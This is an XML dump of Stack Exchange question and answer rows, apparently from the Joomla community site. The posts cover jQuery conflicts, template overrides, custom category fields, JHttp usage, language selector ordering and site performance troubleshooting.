  <row Id="2189" PostTypeId="2" ParentId="2181" CreationDate="2014-06-09T13:31:34.080" Score="1" Body="&lt;p&gt;Is this an established site?&lt;br&gt;&#xA;Was it upgraded from previous version? &#xA;Have you tried rebuilding menus?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the Net tab in Firebug.  This will show you which individual elements on the page are taking the longest to load.  Often it's when you make offsite calls like to FB or other Social media...this can slow load times.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-06-09T13:31:34.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2190" PostTypeId="2" ParentId="2188" CreationDate="2014-06-09T13:59:10.113" Score="2" Body="&lt;p&gt;&lt;code&gt;noConflict&lt;/code&gt; is used so that the alias used when declaring functions does clash with other libraries. Joomla uses Mootools (gradually being removed from the core) which has major conflict issues with jQuery as both as the &lt;code&gt;$&lt;/code&gt; alias to declare functions like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('button').click(function() { ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get a better and more in-depth understanding of &lt;code&gt;noConflict&lt;/code&gt;, have a read of the following which will also give you examples of usage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.jquery.com/jquery.noconflict/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/jquery.noconflict/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for importing jQuery in extensions, this is a bit of a tricky one. Having seen your comment on a previous answer of mine, you're fully aware that there are different ways of importing jQuery. Ensuring only 1 instance of it is imported &lt;strong&gt;is&lt;/strong&gt; possible but one may run into some problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When doing this for you own site, I would simply recommend using &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/jquery-scripts/18327&quot; rel=&quot;nofollow&quot;&gt;jQuery Easy&lt;/a&gt; which is a plugin. One main feature is it strips out all other instances of jQuery so that it doesn't get imported multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When writing your own extension that you want to make available to the public, as a developer, research on this matter is the first thing that should be done. Detacting whether jQuery has already been loaded and then importing it only works if other extensions are using this same method as you mentioned in your question. The problem being is that nothing is ever perfect and you will always run into issues where some extensions are written correctly and others aren't, therefore there will always be a possibility of conflicts. The only way I can actually think to avoid this is by looking at the code for jQuery Easy and seeing how they strip other instances of jQuery and trying to do that yourself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to use &lt;code&gt;jQuery&lt;/code&gt; as an alias for everything. We are all of course used to using &lt;code&gt;$&lt;/code&gt; but as a matter of fact &lt;code&gt;jQuery&lt;/code&gt; is the default alias. So good way to get around everything is to encapsulate it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.noConflict();&#xA;&#xA;jQuery(document).ready(function($) {&#xA;    $(&quot;element&quot;).hide();&#xA;    // more code using $&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From here on out, you can carry on using &lt;code&gt;$&lt;/code&gt; as a locally scoped alias.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-06-09T21:14:31.180" LastActivityDate="2014-06-09T21:14:31.180" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2191" PostTypeId="2" ParentId="1138" CreationDate="2014-06-09T14:31:14.043" Score="1" Body="&lt;p&gt;If I understand your question, your trying to create a custom menu type for the com_tags component and need to set the id for the menu item when you create it in the menu manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case you shouldn't copy the config.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should copy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;joomlaRoot/components/com_tags/views/tags/default.xml &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which has the fields for parent id, as well as the params defined in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure to change the name to species.xml and change the title/option text so that Joomla knows this is a different layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-06-09T14:31:14.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2192" PostTypeId="2" ParentId="2176" CreationDate="2014-06-09T14:39:06.407" Score="1" Body="&lt;p&gt;I am using &lt;a href=&quot;https://www.joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Event Booking&lt;/a&gt; on my personal site. It allows me to setup individual events and to collect registration details/payments for each event I create. You can see a demo on the providers site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also using DPCal Pro on another website which just displays events around the globe. It too is supposed to be able to handle registration, but I don't use it that way as it sits over a publicly accessible google calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope one these helps.&lt;/p&gt;&#xA;" OwnerUserId="1505" LastEditorUserId="9471" LastEditDate="2018-07-16T04:30:58.393" LastActivityDate="2018-07-16T04:30:58.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2194" PostTypeId="2" ParentId="2178" CreationDate="2014-06-09T15:03:49.623" Score="16" Body="&lt;p&gt;You should call &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before your other JHtml::script. AFAIK this makes sure that jQuery is loaded first.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-06-09T15:03:49.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2195" PostTypeId="2" ParentId="2178" CreationDate="2014-06-09T16:51:36.437" Score="2" Body="&lt;p&gt;I ran into this problem last week and it was related to where I was calling JHtml::script. Are you doing this in your view or the view's template? If you try to add the scripts in the view itself (views/yourview/view.html.php) they will be inserted before Joomla!'s own scripts, but if you add the scripts in the template (views/yourview/tmpl/default.php) they will be inserted after Joomla!'s scripts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2014-06-09T16:51:36.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2196" PostTypeId="2" ParentId="1076" CreationDate="2014-06-09T17:35:18.533" Score="2" Body="&lt;p&gt;Check the mysql join map here:&lt;a href=&quot;http://www.codeproject.com/KB/database/Visual_SQL_Joins/Visual_SQL_JOINS_orig.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/KB/database/Visual_SQL_Joins/Visual_SQL_JOINS_orig.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of them is what you are looking for. &lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2014-06-09T17:35:18.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2197" PostTypeId="1" AcceptedAnswerId="2198" CreationDate="2014-06-09T17:41:58.977" Score="3" ViewCount="2277" Body="&lt;p&gt;Is there any way you know of to add a custom/extra field to just a single category and not all articles as described &lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, without using an extension like k2?&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2014-06-09T18:25:43.823" Title="Add custom / extra field to a category" Tags="|plugin|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2198" PostTypeId="2" ParentId="2197" CreationDate="2014-06-09T18:05:12.007" Score="1" Body="&lt;p&gt;While it may not be what you're looking for, you could use the Fields Attach component. It's not a CCK like K2, it extends the built in articles and gives you custom fields. It supports having the fields appear only in the editor for articles in certain categories, which is what you're trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fieldsattach.com&quot; rel=&quot;nofollow&quot;&gt;http://www.fieldsattach.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-09T18:05:12.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2199" PostTypeId="2" ParentId="2197" CreationDate="2014-06-09T18:25:43.823" Score="1" Body="&lt;p&gt;Without spending much thought on your requirement, I can't imagine an easy workable custom solution to your problem.&#xA;Thinking that you are going to need a way to manage the extra field(s), and also a way to check for the categories (probably with a plugin (??))..&lt;br /&gt;&lt;br /&gt;&#xA;But unless you want to get your hands dirty with code, why to re-invent the wheel?&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since someone else have considered and provided a solution for this kind of problem, I think that this is the case where is better to consider a 3rd party extension, which will provide you with what you need. &lt;br /&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://www.fieldsattach.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Fields Attach&lt;/strong&gt;&lt;/a&gt; comes really handy in your particular situation. It will let you extend Joomla's core content, with your desire custom fields. It provides most of the common field-types and you can create fields-groups and assign them only to specific categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you can also try with other &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction&quot; rel=&quot;nofollow&quot;&gt;CCK extensions&lt;/a&gt;&lt;/strong&gt;, that will let you build your own content-items.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-06-09T18:25:43.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2200" PostTypeId="1" AcceptedAnswerId="2276" CreationDate="2014-06-09T20:45:51.423" Score="5" ViewCount="1100" Body="&lt;p&gt;This seems like a bug  and I tested on both 2.5.x and 3.x but there is no way to get assigned template name in &lt;code&gt;onAfterInitialise&lt;/code&gt; by using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$templatename =  $app-&amp;gt;getTemplate();&#xA;    echo $templatename;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it actually does once you call &lt;code&gt;$app-&amp;gt;getTemplate()&lt;/code&gt; it switches your assigned template to default one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my system plugin I do this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterInitialise() {&#xA;&#xA;    $app = JFactory::getApplication();&#xA;    $templatename =  $app-&amp;gt;getTemplate();&#xA;    echo $templatename;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine if I use it in &lt;code&gt;onAfterRoute&lt;/code&gt;  but as asked I need it inside &lt;code&gt;onAfterInitialise&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can anyone please post possible solution to get assigned template name in onAfterInitialise.&#xA;SQL , joomla method anything.&lt;/strong&gt; Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Any method from JFactory::getApplication when called within onAfterInitialise , resets your assigned template to default one. I doubt there is any solution to this since even if we call &lt;code&gt;$app-&amp;gt;getMenu()-&amp;gt;getActive()&lt;/code&gt; to see assigned template our assigned template is reset to default one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This works only if SEF is OFF:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Get the assigned frontend template name&#xA; *&#xA; * @return  string  - template name&#xA; */&#xA;public $assignedTemplate = '';&#xA;&#xA;public function getAssignedTemplate() {&#xA;&#xA;    $jinput   = JFactory::getApplication()-&amp;gt;input;&#xA;    $current  =  $jinput-&amp;gt;getInt('Itemid');&#xA;&#xA;    $db    = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery( true );&#xA;&#xA;    $query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('m.template_style_id', 't.template')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__menu', 'm'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__template_styles', 't') . ' ON (' . $db-&amp;gt;quoteName('m.template_style_id') . ' = ' . $db-&amp;gt;quoteName('t.id') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('m.id') . ' = '.$current.'');&#xA;&#xA;&#xA;    // Make sure there aren't any errors&#xA;    try{&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $currentTemplate = $db-&amp;gt;loadObjectList();&#xA;        if($currentTemplate){&#xA;            $this-&amp;gt;assignedTemplate = $currentTemplate[0]-&amp;gt;template;&#xA;        }&#xA;        //&#xA;&#xA;    }catch (RuntimeException $e){&#xA;        echo $e-&amp;gt;getMessage();&#xA;        exit;&#xA;    }&#xA;&#xA;    return $this-&amp;gt;assignedTemplate;&#xA;}&#xA;&#xA;&#xA;&#xA;public function onAfterInitialise() {&#xA;&#xA;    echo $this-&amp;gt;getAssignedTemplate();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="200" LastEditorUserId="1629" LastEditDate="2014-08-07T20:42:38.230" LastActivityDate="2014-08-07T20:42:38.230" Title="How to get assigned template name in onAfterInitialise?" Tags="|development|plugin|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2201" PostTypeId="1" CreationDate="2014-06-09T20:54:51.223" Score="5" ViewCount="615" Body="&lt;p&gt;I've been building multi-language Joomla sites since J1.5 - most with more than 10 languages. In J3.x I'm finding that the ordering in the language selector seems to be broken. Here's how it's supposed to work (from the Description of the Language Selector module):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The way the flags or names of the languages are displayed is defined&#xA;  by the ordering in the Language Manager - Content Languages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This holds true if I use the Dropdown menu - the order is the same as in Language Manager &gt; Content Languages. But if I turn off the Dropdown menu and use either a horizontal or vertical image display the order goes crazy. It does not revert to ID order, native title, or any other order I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attaching screen caps showing a site in development with 15 languages - the drop down shows the correct order. The horizontal flags show the crazy order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PAY7U.png&quot; alt=&quot;drop down menu with ordering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUDgI.png&quot; alt=&quot;horizontal images with weird ordering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My work-around is to use the Dropdown menu but my clients like the look of the flags. Never had this issue with J1.x or J2.5 but it's the second J3 site I've built with this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="159" LastEditDate="2014-08-10T08:58:23.480" LastActivityDate="2014-08-10T08:58:23.480" Title="Is ordering broken for the Joomla 3 language selector?" Tags="|multilingual|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2202" PostTypeId="1" AcceptedAnswerId="2205" CreationDate="2014-06-09T23:52:55.097" Score="4" ViewCount="5079" Body="&lt;p&gt;Joomla 3.3 - beginner&#xA;I am creating my first template, and after installing it to be ready for testing. I accidentally clicked on &quot;mod_login&quot; in the &quot;create override&quot; under my template settings. and this message appeared.&lt;img src=&quot;https://i.stack.imgur.com/zQU1N.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand it and I'm afraid that this may affect something in my future customizing trip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how can i undo this action ?&lt;/p&gt;&#xA;" OwnerUserId="494" LastEditorUserId="168" LastEditDate="2014-07-31T08:08:14.430" LastActivityDate="2016-04-29T08:15:13.957" Title="override modules" Tags="|joomla-3.3.x|module|overrides|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2203" PostTypeId="2" ParentId="2202" CreationDate="2014-06-10T00:00:01.683" Score="1" Body="&lt;p&gt;Simple, go into &lt;code&gt;templates/YOUR_TEMPLATE/html&lt;/code&gt; and delete the &lt;code&gt;mod_login&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this is made for easy customizing of templates, so its worthwhile to use if you are making your own template. Its not needed but really handy to keep the look and feel of a template uniform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the override function does in the admin is create the html/override_folder for you, this used to be done manually so its just a helpful extra feature to save time.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-10T00:00:01.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2204" PostTypeId="2" ParentId="2202" CreationDate="2014-06-10T00:00:57.387" Score="3" Body="&lt;p&gt;One of the most powerful Joomla features is the ability to override component and module views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About Module Layout Overrides&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules, like components, are set up in a particular directory structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/modules&#xA;  /mod_latest_news&#xA;    /tmpl&#xA;      default.php   (the layout)&#xA;    helper.php   (a helper file containing data logic)&#xA;    mod_latest_news.php   (the main module file)&#xA;    mod_latest_news.xml   (the installation XML file)&#xA;Similar to components, under the main module directory (in the example, mod_latest_news) there is a /tmpl/ directory. There is usually only one layout file but depending on who wrote the module, and how it is written, there could be more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for components, the layout override for a module must be placed in particular way. Using Beez as an example again, you will see the following structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates&#xA;  /beez&#xA;    /html&#xA;      /mod_latest_news   (this directory matches the module directory name)&#xA;        default.php   (this file matches the layout file name)&#xA;The structure for module overrides is again quite simple: /html/mod_module_name/layout_file_name.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copying or Creating Layout Files&#xA;The rhuk_milkyway template does not have any layout overrides for any modules. If we want to override the default layout for Latest News module, we need to copy this file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/modules/mod_latest_news/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to this location, creating the approriate directories in the event they don't already exist:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/rhuk_milkyway/html/mod_latest_news/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to take a little care with overriding module layout because there are a number of different ways that modules can or have been designed so you need to treat each one individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can find the full explanation about overrides:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="52" LastEditDate="2014-06-10T11:36:15.953" LastActivityDate="2014-06-10T11:36:15.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2205" PostTypeId="2" ParentId="2202" CreationDate="2014-06-10T00:04:26.463" Score="3" Body="&lt;p&gt;Template Overrides are used to allow the developers to make changes to the layout of a module without having to hack into the core of the module code which as mentioned in a lot of previous answers is bad. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template overrides are simply duplicates of the (normally) &lt;strong&gt;default.php&lt;/strong&gt; file from a module. In you case, &lt;strong&gt;mod_login&lt;/strong&gt; has been duplicated and added to the required folder to allow you to perform a template override. Seeing as I assume you do not wish to use the override, simply delete &lt;strong&gt;mod_login&lt;/strong&gt; from the following location&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/ahmedasharaf/html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple as that. Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-29T08:15:13.957" LastActivityDate="2016-04-29T08:15:13.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2206" PostTypeId="1" CreationDate="2014-06-10T00:11:42.857" Score="1" ViewCount="579" Body="&lt;p&gt;i am trying to call &amp;amp; get another url data.So is trying to create new instance of http class as follows - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.http.http');&#xA;jimport('joomla.http.transport.curl');&#xA;$options = array();&#xA;$transport =  new JHttpTransportCurl($options); &#xA;// Create a 'curl' transport.&#xA;$http = new JHttp($options, $transport);&#xA;$response = $http-&amp;gt;get('http://api.example.com/shoes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's not working as somewhere wrong in line 4. Please save my  time hoping this is the right way to make call to another API url.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="3" LastEditDate="2014-06-11T05:58:17.457" LastActivityDate="2014-06-11T05:58:17.457" Title="Initializing JHttpTransportCurl class" Tags="|joomla-2.5|development|joomla-api|fix-my-code|curl|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2207" PostTypeId="2" ParentId="2181" CreationDate="2014-06-10T00:19:06.483" Score="3" Body="&lt;p&gt;If you have access to SSH try to use top/htop (may require root). This can tell you the cpu/ram usage that can point at server related issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try to create a file with php info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;phpinfo.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;phpinfo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create this file and load it, does it load slow? That would point to the server as the main cause, if it loads fairly fast then it could be something to do with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another test is install a blank Joomla 3.3 site and see how it loads with full defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have cpanel/plesk you can look into the resource usage as well, but both have different ways of doing it and can be dependent on plugins, so you would be on your own there but most likely there will be something to get that information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it ends up being server related the only hope is to either rebuild the vps (quicker sometimes) or try to fix it (update modules, check configs, ect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is Joomla then it could be the php.ini settings or database (try an akeeba restore). If its php.ini in the extension manager and warnings you should see some sort of message about a setting that could be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is one last thing it could be, network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5 minute load times would normally hit the php max_execution_time, so that makes me think its network connection. There is no way to really fix it other then time or talking to your host. It could also be the area you are in compared to the server (for that cloudflare or some other CDN service could help).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are just some troubleshooting tips though, no guarantee that one of them is the answer, but a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-10T00:19:06.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2208" PostTypeId="1" AcceptedAnswerId="2214" CreationDate="2014-06-10T01:32:44.743" Score="1" ViewCount="521" Body="&lt;p&gt;I use a lot of javascript on my site. It works and has passed crossbrowser testing, but the thing is the javascript files are being included within Joomla articles. I’ve read that this is the wrong way to go about it, but I don’t know why and am not sure of a better way to do it (I believe one reason had to do with the javascript not being included in the head of the webpage). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMPORTANT&lt;/strong&gt;&#xA;I’ve considered including the javascript in the template, but each Joomla article can be vastly different. While I try to be consistent with articles in similar categories this isn’t always possible. If I were to include the javascript into the template I would need to create a different template for each category type and then I’d still need to include the odd script into a few articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I should include the javascript via custom html modules? I’m not really sure what benefit this would provide over the current method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTIONS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should javascript not be included via joomla articles? If yes, why?&lt;/li&gt;&#xA;&lt;li&gt;How would you include javascript in this situation? Remember that&#xA;each article can use vastly different js.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm particularly interested in &lt;strong&gt;how&lt;/strong&gt; people would recommend I add the javascript to Joomla in my situation.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-06-10T14:22:06.917" LastActivityDate="2014-07-05T15:30:17.203" Title="Should I change the way I include javascript into Joomla? If yes, why and how?" Tags="|cms|articles|recommended-practices|javascript|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2209" PostTypeId="2" ParentId="2208" CreationDate="2014-06-10T01:42:08.983" Score="6" Body="&lt;p&gt;Articles are for content, not source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rule of thumb, different content in different places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have to quickly include Javascript, I would recommend NoNumber Sourcerer: &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DRY principle&lt;/strong&gt;, don't repeat yourself. Create modules with the Javascript code, and include it with &lt;em&gt;{loadposition module-position}&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-10T01:42:08.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2210" PostTypeId="2" ParentId="2208" CreationDate="2014-06-10T05:20:51.097" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Should javascript not be included via joomla articles? If yes, why?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would advise gently against using JS straight up in articles...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Not user-friendly&lt;/strong&gt; - many editors will wipe out JS written inline (maybe not when you're using it, but when your lower-permission users do who aren't allowed to save articles with code in them...)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can't combine / minify (without additional plugins / components)&lt;/strong&gt; - it also adds extra weight to a site (can't combine scripts together) and minifying / unminifying it to make changes is inefficient and time-consuming&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blocking behaviour&lt;/strong&gt; - JS in the body will block until it's finished. If it's complex, you may have users waiting for it to complete for the rest of the page to load&lt;/li&gt;&#xA;&lt;li&gt;And, of course, it's &lt;strong&gt;ugly&lt;/strong&gt; - whilst it's not the worst thing in the world, it's also the hackiest of hacky solutions given the many, many different ways Joomla has to include JS on a page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How would you include javascript in this situation? Remember that each article can use vastly different js.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm curious - what requires every article to have 'vastly different JS'? Surely there must be generalizations you can make?&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2014-07-05T15:30:17.203" LastActivityDate="2014-07-05T15:30:17.203" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2211" PostTypeId="2" ParentId="2201" CreationDate="2014-06-10T07:06:50.103" Score="2" Body="&lt;p&gt;May be you have module layout overrides? I've just tested it on my website and ordering is working as expected - by the ordering in the Language Manager.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-06-10T07:06:50.103" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2212" PostTypeId="1" AcceptedAnswerId="2213" CreationDate="2014-06-10T07:15:50.970" Score="3" ViewCount="13006" Body="&lt;p&gt;I am working on a new website development with Joomla 3.1. The menu links were working fine before. However, suddenly one of the menu link now leads to the 404 error page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happened once before and I fixed it by changing the menu alias. I wonder why and how the old alias which was working fine before is now creating a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu item is not locked. It is in published state. Similarly, the article assigned to it is also not locked and is in published state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/insight please?&lt;/p&gt;&#xA;" OwnerUserId="1508" LastEditorUserId="155" LastEditDate="2014-06-11T03:53:16.783" LastActivityDate="2023-03-31T00:42:15.430" Title="Working menu link now leads to 404 error page" Tags="|menu-item|error-handling|" AnswerCount="9" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
